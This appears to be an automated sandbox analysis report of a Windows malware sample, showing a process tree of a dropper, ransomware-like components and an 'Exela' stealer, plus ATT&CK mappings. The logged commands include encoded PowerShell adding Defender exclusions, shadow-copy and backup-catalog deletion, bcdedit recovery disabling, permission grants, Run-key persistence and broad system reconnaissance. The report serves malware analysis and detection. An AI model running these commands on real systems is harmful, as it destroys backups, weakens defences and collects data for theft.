
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2432	attrib.exe
548	attrib.exe
4992	attrib.exe

C:\Users\Admin\AppData\Local\Temp\cooker.exe
"C:\Users\Admin\AppData\Local\Temp\cooker.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3160
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAYwBkACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGIAdABoACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGoAdQBoACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAZQB3ACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5940
- C:\Users\Admin\AppData\Roaming\kitty_portable.exe
  "C:\Users\Admin\AppData\Roaming\kitty_portable.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:752
- C:\Users\Admin\AppData\Roaming\AutoClicker-3.1.exe
  "C:\Users\Admin\AppData\Roaming\AutoClicker-3.1.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: GetForegroundWindowSpam
  PID:4752
- C:\Users\Admin\AppData\Roaming\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
  "C:\Users\Admin\AppData\Roaming\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Sets desktop wallpaper using registry
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4788
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h .
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:4992
- - C:\Windows\SysWOW64\icacls.exe
    icacls . /grant Everyone:F /T /C /Q
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:4756
- - C:\Users\Admin\AppData\Roaming\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3416
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 76941744397554.bat
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3060
  - - C:\Windows\SysWOW64\cscript.exe
      cscript.exe //nologo m.vbs
      4⤵
      System Location Discovery: System Language Discovery
      PID:1320
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s F:\$RECYCLE
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:2432
- - C:\Users\Admin\AppData\Roaming\@[email protected]
    @[email protected] co
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:3712
  - - C:\Users\Admin\AppData\Roaming\TaskData\Tor\taskhsvc.exe
      TaskData\Tor\taskhsvc.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:2324
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c start /b @[email protected] vs
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1136
  - - C:\Users\Admin\AppData\Roaming\@[email protected]
      @[email protected] vs
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:1616
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4948
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3792
- - C:\Users\Admin\AppData\Roaming\taskse.exe
    taskse.exe C:\Users\Admin\AppData\Roaming\@[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3232
- - C:\Users\Admin\AppData\Roaming\@[email protected]
    @[email protected]
    3⤵
    - Executes dropped EXE
    - Sets desktop wallpaper using registry
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:3364
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "qtxyjtaxkfx602" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\tasksche.exe\"" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1772
  - - C:\Windows\SysWOW64\reg.exe
      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "qtxyjtaxkfx602" /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\tasksche.exe\"" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:5908
- - C:\Users\Admin\AppData\Roaming\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    PID:3296
- C:\Users\Admin\AppData\Roaming\Cyber Sniff.exe
  "C:\Users\Admin\AppData\Roaming\Cyber Sniff.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4976
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AaABtACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHAAYgB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAZwB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AbQB4ACMAPgA="
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3868
- - C:\Users\Admin\AppData\Roaming\WindowsUpdateDaemon.exe
    "C:\Users\Admin\AppData\Roaming\WindowsUpdateDaemon.exe"
    3⤵
    - Executes dropped EXE
    PID:3636
- - C:\Users\Admin\AppData\Roaming\PACKED.exe
    "C:\Users\Admin\AppData\Roaming\PACKED.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3652
  - - C:\Users\Admin\AppData\Roaming\PACKED.exe
      "C:\Users\Admin\AppData\Roaming\PACKED.exe"
      4⤵
      Deletes itself
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2640
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        
        PID:1300
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1468
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        6⤵
        Detects videocard installed
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2056
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4496
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get Manufacturer
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1536
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "gdb --version"
        5⤵
        
        PID:1616
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1140
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:5936
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1916
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path Win32_ComputerSystem get Manufacturer
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6116
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:1560
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:960
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        5⤵
        
        PID:956
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:4472
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe""
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:3052
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe"
        6⤵
        Views/modifies file attributes
        
        PID:548
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe" /f"
        5⤵
        
        PID:5780
      - C:\Windows\system32\reg.exe
        
        reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe" /f
        6⤵
        Adds Run key to start application
        
        PID:4852
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        5⤵
        
        PID:4776
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:5516
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
        5⤵
        
        PID:5192
      - C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        6⤵
        
        PID:3800
        
        C:\Windows\system32\chcp.com
        
        chcp
        7⤵
        
        PID:3904
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
        5⤵
        
        PID:4188
      - C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        6⤵
        
        PID:5772
        
        C:\Windows\system32\chcp.com
        
        chcp
        7⤵
        
        PID:5440
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:4484
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:5952
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
        5⤵
        Clipboard Data
        
        PID:5152
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Get-Clipboard
        6⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:644
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        5⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1924
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4948
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
        5⤵
        Network Service Discovery
        
        PID:2916
      - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        6⤵
        Gathers system information
        
        PID:5272
      - C:\Windows\system32\HOSTNAME.EXE
        
        hostname
        6⤵
        
        PID:5952
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic logicaldisk get caption,description,providername
        6⤵
        Collects information from the system
        Suspicious behavior: EnumeratesProcesses
        
        PID:5676
      - C:\Windows\system32\net.exe
        
        net user
        6⤵
        
        PID:5176
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user
        7⤵
        
        PID:2740
      - C:\Windows\system32\query.exe
        
        query user
        6⤵
        
        PID:3880
        
        C:\Windows\system32\quser.exe
        
        "C:\Windows\system32\quser.exe"
        7⤵
        
        PID:6140
      - C:\Windows\system32\net.exe
        
        net localgroup
        6⤵
        
        PID:5052
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup
        7⤵
        
        PID:4856
      - C:\Windows\system32\net.exe
        
        net localgroup administrators
        6⤵
        
        PID:4640
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        7⤵
        
        PID:4832
      - C:\Windows\system32\net.exe
        
        net user guest
        6⤵
        
        PID:4748
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user guest
        7⤵
        
        PID:864
      - C:\Windows\system32\net.exe
        
        net user administrator
        6⤵
        
        PID:1976
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator
        7⤵
        
        PID:548
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic startup get caption,command
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3252
      - C:\Windows\system32\tasklist.exe
        
        tasklist /svc
        6⤵
        Enumerates processes with tasklist
        
        PID:5172
      - C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        6⤵
        Gathers network information
        
        PID:6024
      - C:\Windows\system32\ROUTE.EXE
        
        route print
        6⤵
        
        PID:1164
      - C:\Windows\system32\ARP.EXE
        
        arp -a
        6⤵
        Network Service Discovery
        
        PID:1220
      - C:\Windows\system32\NETSTAT.EXE
        
        netstat -ano
        6⤵
        System Network Connections Discovery
        Gathers network information
        
        PID:2180
      - C:\Windows\system32\sc.exe
        
        sc query type= service state= all
        6⤵
        Launches sc.exe
        
        PID:5372
      - C:\Windows\system32\netsh.exe
        
        netsh firewall show state
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:5248
      - C:\Windows\system32\netsh.exe
        
        netsh firewall show config
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:6052
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:3744
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3960
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:5228
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2840
- - C:\Users\Admin\AppData\Roaming\CyberSniff.exe
    "C:\Users\Admin\AppData\Roaming\CyberSniff.exe"
    3⤵
    - Executes dropped EXE
    PID:6136

C:\Windows\system32\mspaint.exe
"C:\Windows\system32\mspaint.exe" "C:\Users\Admin\Desktop\UseBackup.jpe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:5624

C:\Windows\system32\mspaint.exe
"C:\Windows\system32\mspaint.exe" "C:\Users\Admin\Desktop\UseBackup.jpe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3168

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
PID:5920

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe
1⤵
PID:4876
- C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe
  C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe
  2⤵
  - Executes dropped EXE
  PID:3880
- - C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe
    C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5900
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:2616

C:\Windows\system32\mspaint.exe
"C:\Windows\system32\mspaint.exe" "C:\Users\Admin\Desktop\UseBackup.jpe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2552

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\AssertRegister.snd"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:1196

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\AssertRegister.snd"
1⤵
PID:2872

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\AssertRegister.snd"
1⤵
PID:1316

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.4467_none_7e0f83e07c8c1985\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.4467_none_7e0f83e07c8c1985\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
PID:4776

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Desktop\SelectSuspend.docx" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4004

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Desktop\SelectSuspend.docx" /o ""
1⤵
PID:2616

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Desktop\SelectSuspend.docx" /o ""
1⤵
PID:4404

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Desktop\SelectSuspend.docx" /o ""
1⤵
PID:236

C:\Windows\system32\BackgroundTaskHost.exe
"C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider
1⤵
PID:5772

C:\Windows\system32\BackgroundTaskHost.exe
"C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider
1⤵
PID:3800

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:5684

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\tasksche.exe"
1⤵
PID:5952

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

System Information Discovery